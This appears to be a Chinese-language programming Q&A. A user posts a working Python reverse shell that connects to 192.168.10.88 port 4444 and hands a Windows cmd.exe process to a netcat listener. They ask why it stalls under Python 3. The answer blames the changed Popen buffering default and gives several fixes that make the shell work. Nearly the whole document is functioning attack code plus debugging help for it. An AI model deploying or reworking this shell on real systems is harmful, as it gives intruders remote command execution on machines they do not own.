以下是我的reverse_shell python代码
import os,socket,subprocess,threading
def s2p(s, p):
while True:
data = s.recv(1024)
if len(data) > 0:
p.stdin.write(data)
def p2s(s, p):
while True:
s.send(p.stdout.read(1))
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.10.88",4444))
p=subprocess.Popen(['\\windows\system32\\cmd.exe'], stderr=subprocess.STDOUT, stdout=subprocess.PIPE, stdin=subprocess.PIPE)
s2p_thread = threading.Thread(target=s2p, args=[s, p])
s2p_thread.daemon = True
s2p_thread.start()
p2s_thread = threading.Thread(target=p2s, args=[s, p])
p2s_thread.daemon = True
p2s_thread.start()
try:
p.wait()
except KeyboardInterrupt:
s.close()
我正在使用netcat作为监听器。问题是当我运行上面的代码使用python 3.4 shell命令卡住而我没有得到输出但是如果我使用python 2它工作正常。
bufsize
到Popen
的默认参数在Python 2和Python 3之间发生了变化。在Python 2中,0
表示无缓冲。在Python 3,它是-1
,这意味着使用大小io.DEFAULT_BUFFER_SIZE
的缓冲区。在Python 3中程序占用了,因为程序已经将数据写入p.stdin
,但还没有刷新它 - 因为缓冲区还没有填满。在Windows上,io.DEFAULT_BUFFER_SIZE
是8,192,因此您需要在看到任何输出之前将8kB数据写入套接字(来自netcat)。
您可以切换回无缓冲的流,也可以在每次写入后手动刷新数据。或者你可以设置universal_newlines
参数并使用行缓冲(bufsize=1
)。